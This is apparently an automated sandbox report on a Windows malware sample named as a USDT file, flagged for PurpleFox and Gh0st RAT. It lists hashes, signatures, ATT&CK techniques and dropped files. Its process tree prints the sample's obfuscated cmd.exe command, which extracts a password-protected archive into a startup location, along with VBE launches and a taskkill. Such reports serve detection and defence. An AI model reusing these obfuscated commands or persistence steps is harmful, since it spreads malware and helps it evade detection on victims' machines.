Analysis

  • max time kernel
    142s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-09-2022 11:29

General

  • Target

    9.27USDT·ַʵ.exe

  • Size

    36KB

  • MD5

    f03f5610257f8dd2968b516d74621b78

  • SHA1

    3da92c0ccbe7a331e1dfa7b870f2ad945aaa2045

  • SHA256

    fec33611d9bc68875811e7bbac111b2682512e16e4ca6ae0b2db774623978cf2

  • SHA512

    fed52e5ad9388fbf4c813801bce31f1f9adf39572ec970871d36b92836e27a62329af3b277e58c815a19460bbfaef3c4f45cb70d6aefe798c660cdc803ef142b

  • SSDEEP

    192:600maRBUda7n9JlU2g1jJMOEyKbIYymt5XTtEyKihoynKwHLHTgH9N2tpgRmd8MS:609Bdq9JGqO+NxhjAdN2tpgwd5ASc

Malware Config

Signatures

  • Detect PurpleFox Rootkit 2 IoCs

    Detect PurpleFox Rootkit.

  • Gh0st RAT payload 2 IoCs
  • Gh0strat

    Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.

  • PurpleFox

    PurpleFox is an exploit kit used to distribute other malware families and first seen in 2018.

  • UAC bypass 3 TTPs 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 2 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • System policy modification 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9.27USDT·ַʵ.exe
    "C:\Users\Admin\AppData\Local\Temp\9.27USDT·ַʵ.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3616
    • C:\Users\Public\Documents\k4.exe
      C:/Users/Public/Documents/k4.exe
      2⤵
      • Executes dropped EXE
      PID:1836
    • C:\Users\Public\Documents\k4.exe
      C:/Users/Public/Documents/k4.exe /D
      2⤵
      • Executes dropped EXE
      PID:2056
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c taskkill /f /t /im k4.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4148
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /t /im k4.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4376
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Public\Documents\2022060125.vbe
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1960
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\2022060125.vbe"
        3⤵
          PID:2804
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sch.vbe"
        2⤵
          PID:3036
        • C:\Users\Public\Documents\k4.exe
          "C:\Users\Public\Documents\k4.exe" /E
          2⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of AdjustPrivilegeToken
          PID:1360
      • C:\Windows\system32\mmc.exe
        C:\Windows\system32\mmc.exe -Embedding
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\WINDOWS\system32\cmd.exe
          "C:\WINDOWS\system32\cmd.exe" /c ^c^M^D, , /v^:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"|,%pubLic:~ 14%MD,
          2⤵
          • An obfuscated cmd.exe command-line is typically used to evade detection.
          PID:4916
          • C:\Windows\system32\cmd.exe
            cMD , , /v:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"
            3⤵
            • An obfuscated cmd.exe command-line is typically used to evade detection.
            PID:504
          • C:\Windows\system32\cmd.exe
            cMD ,
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4560
            • C:\Windows\system32\cmd.exe
              cmd /c C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3104
              • C:\Users\Public\Documents\unzip.exe
                C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"
                5⤵
                • Executes dropped EXE
                • Drops startup file
                PID:4612
      • C:\Windows\system32\mmc.exe
        C:\Windows\system32\mmc.exe -Embedding
        1⤵
        • Suspicious behavior: SetClipboardViewer
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Users\Public\Documents\dllhosts.exe
          "C:\Users\Public\Documents\dllhosts.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1280
          • C:\Users\Public\Documents\dllhosts.exe
            C:\Users\Public\Documents\dllhosts.exe
            3⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4620
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1280 -s 216
            3⤵
            • Program crash
            PID:5108
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1280 -ip 1280
        1⤵
          PID:2844

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Privilege Escalation

        Bypass User Account Control

        1
        T1088

        Defense Evasion

        Bypass User Account Control

        1
        T1088

        Disabling Security Tools

        1
        T1089

        Modify Registry

        2
        T1112

        Discovery

        Query Registry

        4
        T1012

        System Information Discovery

        6
        T1082

        Peripheral Device Discovery

        2
        T1120

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Public\Documents\2022060125.vbe
          Filesize

          180B

          MD5

          d66c7e77096d4f4c406170b6ca0ad123

          SHA1

          9bb461061c7276ebe2a493f690d72263c0da8962

          SHA256

          cd0a0ac1315f1f473f4a42bed62fad7033fe68a3e0cf72a7b354a7e3dd78e8a8

          SHA512

          015788021b53eb278be1238b26a01499dcb809d93ee747bc89208f8d3570a7b0b813c70ea054e70584b536da4811f0a58ef38c96a984e6b3a54654774e5c7592

        • C:\Users\Public\Documents\RDSv1.dll
          Filesize

          24KB

          MD5

          c68a7ddbed2cd20279b87e733c9008db

          SHA1

          eef926d0069c9b54e609302b64267d4721f8ea7a

          SHA256

          7e05127f15bb1967ca4598d9fa8a4c7867b1658b684e50874a9513e4ff23ee53

          SHA512

          db21961744b62f0a772c7bd309592898630deeb1a18e79c3b289e5d187521cfdcc37e4a6a18149a697ddff7c121ec6f73685a8dce8e1181552558947d13e83bf

        • C:\Users\Public\Documents\TASLoginBase.dll
          Filesize

          79KB

          MD5

          6ebf287f2c3b738ee9bef1541665c82f

          SHA1

          d16c0565d76cc4389a3eb9134139b8552204b5a8

          SHA256

          65e188078e5cce984eeab6e2e9382fb06513a1ce46fd6b216321309cb696b75f

          SHA512

          dc8b94e20d5932ad2d9aa66ce8a5c670890025d6cd3f9cca090318c7ee980afa16ee63f66f18eb21acabeb2f32ddfd2e65e73893b129a10e52af7162cad6f57c

        • C:\Users\Public\Documents\TASLoginBase.dll
          Filesize

          79KB

          MD5

          6ebf287f2c3b738ee9bef1541665c82f

          SHA1

          d16c0565d76cc4389a3eb9134139b8552204b5a8

          SHA256

          65e188078e5cce984eeab6e2e9382fb06513a1ce46fd6b216321309cb696b75f

          SHA512

          dc8b94e20d5932ad2d9aa66ce8a5c670890025d6cd3f9cca090318c7ee980afa16ee63f66f18eb21acabeb2f32ddfd2e65e73893b129a10e52af7162cad6f57c

        • C:\Users\Public\Documents\dllhosts.exe
          Filesize

          411KB

          MD5

          66557b2bd93e70a2804e983b279ab473

          SHA1

          4e58505689fd9643b5011880ce94b22cbfadf917

          SHA256

          a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

          SHA512

          b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

        • C:\Users\Public\Documents\dllhosts.exe
          Filesize

          411KB

          MD5

          66557b2bd93e70a2804e983b279ab473

          SHA1

          4e58505689fd9643b5011880ce94b22cbfadf917

          SHA256

          a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

          SHA512

          b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

        • C:\Users\Public\Documents\dllhosts.exe
          Filesize

          411KB

          MD5

          66557b2bd93e70a2804e983b279ab473

          SHA1

          4e58505689fd9643b5011880ce94b22cbfadf917

          SHA256

          a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31

          SHA512

          b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4

        • C:\Users\Public\Documents\k4.exe
          Filesize

          892KB

          MD5

          33e29221e2825001d32f78632217d250

          SHA1

          9122127fc91790a1edb78003e9b58a9b00355ed5

          SHA256

          65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

          SHA512

          01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

        • C:\Users\Public\Documents\k4.exe
          Filesize

          892KB

          MD5

          33e29221e2825001d32f78632217d250

          SHA1

          9122127fc91790a1edb78003e9b58a9b00355ed5

          SHA256

          65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

          SHA512

          01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

        • C:\Users\Public\Documents\k4.exe
          Filesize

          892KB

          MD5

          33e29221e2825001d32f78632217d250

          SHA1

          9122127fc91790a1edb78003e9b58a9b00355ed5

          SHA256

          65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

          SHA512

          01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

        • C:\Users\Public\Documents\k4.exe
          Filesize

          892KB

          MD5

          33e29221e2825001d32f78632217d250

          SHA1

          9122127fc91790a1edb78003e9b58a9b00355ed5

          SHA256

          65d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d

          SHA512

          01d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93

        • C:\Users\Public\Documents\sch.vbe
          Filesize

          179B

          MD5

          d569f44ce5792ee816b4182e3c7bc7da

          SHA1

          f16a402cd6030b5c7faa5c85ade3005d66d5232a

          SHA256

          59ff328647ccee11ad437e02b6e84c12511333553837b6fa270eefd21a3eccbf

          SHA512

          bb0f888ff00038d1787e6cce8b09b61761d93594cbfe08d2dbf650c1802938d6df7b4b854c1af97ad405fb3b1460aab339e636852d51dc6b6849d27a5af9560b

        • C:\Users\Public\Documents\unzip.dat
          Filesize

          1KB

          MD5

          e1fafb36f4da2c3be5dc9be1ad0b9805

          SHA1

          7d64a899e0ab62f3cd6ebf5bdade782c99c00713

          SHA256

          a862acb112f57458ad35e5e5fc90f0d270a7600af694a6b7052d161806e5dd69

          SHA512

          5c530b09b6459f34072dfccb7ccec5cbb791fc6cdc2633993da91fbef9c4d1172aec51ace3fb3cb8ac25b6721b4e6f5f1fd1a8fac7d95abbad8f6430e4abbc3e

        • C:\Users\Public\Documents\unzip.exe
          Filesize

          164KB

          MD5

          75375c22c72f1beb76bea39c22a1ed68

          SHA1

          e1652b058195db3f5f754b7ab430652ae04a50b8

          SHA256

          8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a

          SHA512

          1b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a

        • C:\Users\Public\Documents\unzip.exe
          Filesize

          164KB

          MD5

          75375c22c72f1beb76bea39c22a1ed68

          SHA1

          e1652b058195db3f5f754b7ab430652ae04a50b8

          SHA256

          8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a

          SHA512

          1b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a

        • C:\Users\Public\Documents\unzip.lnk
          Filesize

          2KB

          MD5

          7503a871168c07ca47a87c933f004f66

          SHA1

          764d09fe3b1f756a467e4a96d5cc3453732c3cfb

          SHA256

          8a3d404f5cdd1611433ea97e8a5ebf8696d8cdcf805331201a4fb4f7203023de

          SHA512

          4f7bbab0fcdb150cf368ab9fa2d23f26082ae1ac1d1a4cebc7ea9b2724125c7f5e013b2180a08a3f0002e416e6be5e6233f47fb7f5dbebd1b503f09a5ea24831

        • C:\Users\Public\Documents\update.lnk
          Filesize

          1KB

          MD5

          3af508a542bdfa6927737a2d91d74f40

          SHA1

          433f04e960f68ce05358af2d672a9b649de4e3ce

          SHA256

          e7e3e44142369b3a312005313f8569f2bcd45bcdc8ea9e141616654bcd090b60

          SHA512

          b35ad011ca3770c1a1e2a655a614e91ebd96ce29099969c727a69e77a390b91078512ce55883d7290e4dd46c5f04f0461b2833f568d23da1fc4d91ea4633d3bc

        • C:\Users\Public\Documents\update.log
          Filesize

          539KB

          MD5

          0352ee56c879e1ad6f8ec4d3b0f920d0

          SHA1

          30ff7d7ea9fc727aa354c653ba7c419b178f3b6f

          SHA256

          af67ab3c2e33424511955cc5cdd64ca6de251ae60cec205f88a86feee562b8c2

          SHA512

          97e55cf41c1b10d03e1baf362804ddcb271241dfb7b1c16f8bd5731a453344652211917dd71f816f0f2a9afbf444fee8ebc38faa89fad55e8ade513f2dde6cb8

        • memory/1280-159-0x0000000000400000-0x0000000000490000-memory.dmp
          Filesize

          576KB

        • memory/1280-154-0x0000000000000000-mapping.dmp
        • memory/1360-173-0x0000000000000000-mapping.dmp
        • memory/1836-133-0x0000000000000000-mapping.dmp
        • memory/1960-140-0x0000000000000000-mapping.dmp
        • memory/2056-136-0x0000000000000000-mapping.dmp
        • memory/2804-143-0x0000000000000000-mapping.dmp
        • memory/3036-142-0x0000000000000000-mapping.dmp
        • memory/3104-148-0x0000000000000000-mapping.dmp
        • memory/4148-138-0x0000000000000000-mapping.dmp
        • memory/4376-139-0x0000000000000000-mapping.dmp
        • memory/4612-149-0x0000000000000000-mapping.dmp
        • memory/4620-160-0x0000000000000000-mapping.dmp
        • memory/4620-161-0x0000000000400000-0x0000000000547000-memory.dmp
          Filesize

          1.3MB

        • memory/4620-164-0x0000000000400000-0x0000000000547000-memory.dmp
          Filesize

          1.3MB

        • memory/4620-165-0x0000000000400000-0x0000000000547000-memory.dmp
          Filesize

          1.3MB

        • memory/4620-166-0x0000000010000000-0x000000001019F000-memory.dmp
          Filesize

          1.6MB

        • memory/4620-172-0x0000000000400000-0x0000000000547000-memory.dmp
          Filesize

          1.3MB

        • memory/4916-146-0x0000000000000000-mapping.dmp